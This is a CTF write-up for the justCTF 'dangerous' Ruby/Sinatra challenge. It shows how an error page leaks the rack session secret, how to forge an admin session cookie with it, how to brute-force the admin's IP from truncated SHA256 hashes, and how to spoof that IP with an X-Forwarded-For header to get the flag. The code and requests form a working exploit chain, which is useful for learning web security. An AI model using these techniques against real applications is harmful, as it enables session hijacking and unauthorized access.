Tags: sha256 bruteforce web ruby 

Rating:

Source code of the server was provided. The goal is to bypass session and ip check to get the flag:
```
def is_allowed_ip(username, ip, config)
return config["mods"].any? {
|mod| mod["username"] == username and mod["allowed_ip"] == ip
}
end
```
If we send a post request to /:id without any content param, line 91 of dangerous.rb, the server will raise a RuntimeError:

```
post "/:id" do
if params[:content].nil? or params[:content] == "" then
raise "Reply content cannot be empty!"
end
```
Example:
```
POST /flag HTTP/1.1
[...]
id=flag
```
The server replies with a RuntimeError containing the Backtrace, Server env vars and settings. The most important part is the following:

```
rack.session.options
{:path=>"/", :domain=>nil, :expire_after=>nil, :secure=>false, :httponly=>true, :defer=>false, :renew=>false, :sidbits=>128, :secure_random=>SecureRandom, :secret=>"a9316e61bc75029d52f915823d7bb628a4adae8b174bce89fd38ec4c7fb925a07e2ccbc01572b9fdce56502ef5d02609e5194a5ddd649ff349a206002e96a99d", :coder=>#<Rack::Protection::EncryptedCookie::Marshal:0x00007ff401b9a530>}

You're seeing this error because you have enabled the show_exceptions setting.
```
With this rack secret info we can create the following code to generate a session with a username at our will:
```
require 'sinatra'
require 'encrypted_cookie'

use Rack::Protection::EncryptedCookie,
:secret => "a9316e61bc75029d52f915823d7bb628a4adae8b174bce89fd38ec4c7fb925a07e2ccbc01572b9fdce56502ef5d02609e5194a5ddd649ff349a206002e96a99d"

get '/' do
session[:username] = 'janitor'
"session: " + session.inspect + request.ip
end
```
If we run this server locally we get the following cookie:
```
OzIRre3zIGM86fCbfSHxnhWmMng7keY1YnESpoTUktgggFav2iCj0hUcosRH3enKpwbbBxIm7DUnIa40rJKdDczX33WMOSc69OsKiDOVGladFLVMlehDioQ7WtY5vN6an9bk08THFsahl3kMxFF6DuH9Gt33eIjNIzE%3D--RT5QQO4H5rsX9Zgt--aEInhtR3a6VikseEcrKCSQ%3D%3D
```
We will use the janitor username because its the username of the admin. Now we can already bypass the session username validation, we only need to spoof the right ip. This info can be retrieved by getting the threads http://dangerous.web.jctf.pro/1 and http://dangerous.web.jctf.pro/2 and looking at thread.erb:
```
<% user_color = Digest::SHA256.hexdigest(reply[2] + @id).slice(0, 6) %>
<div style="color: #<%= user_color %>;">
<%= user_color %>
<% if reply[3] %>
<span>##Admin:<%= reply[3] %>##</span>
```
The reply[3] is the username, the reply[2] is the IP. So now we know that we have two slices of 6 chars of the SHA256 of the IP+1 and IP+2 in the threads 1 and 2 where the admin made comments.
```
IP + "1": 32cae2
IP + "2": 92e1e8
```
For the bruteforce I used the following code:
```
require "digest"
for d in 0..255 do
puts d
for c in 0..255 do
for b in 0..255 do
for a in 0..255 do
if Digest::SHA256.hexdigest(d.to_s+"."+c.to_s+"."+b.to_s+"." + a.to_s + "1").slice(0, 6) == "32cae2"
if Digest::SHA256.hexdigest(d.to_s+"."+c.to_s+"."+b.to_s+"." + a.to_s + "2").slice(0, 6) == "92e1e8"
puts d.to_s+"."+c.to_s+"."+b.to_s+"." + a.to_s
end
end
end
end
end
end
puts "finished"
```
After a short time I got the following IP: 10.24.170.69. Now we just need to spoof it and get the flag:
```
GET /flag HTTP/1.1
Host: dangerous.web.jctf.pro
[...]
Cookie: rack.session=OzIRre3zIGM86fCbfSHxnhWmMng7keY1YnESpoTUktgggFav2iCj0hUcosRH3enKpwbbBxIm7DUnIa40rJKdDczX33WMOSc69OsKiDOVGladFLVMlehDioQ7WtY5vN6an9bk08THFsahl3kMxFF6DuH9Gt33eIjNIzE%3D--RT5QQO4H5rsX9Zgt--aEInhtR3a6VikseEcrKCSQ%3D%3D
X-Forwarded-For: 10.24.170.69
```
And we get the flag from the server:
```
HTTP/1.1 200 OK
[...]
justCTF{1_th1nk_4l1ce_R4bb1t_m1ght_4_4_d0g}
```

Original writeup (https://youtu.be/fqOcV-T_Qsc).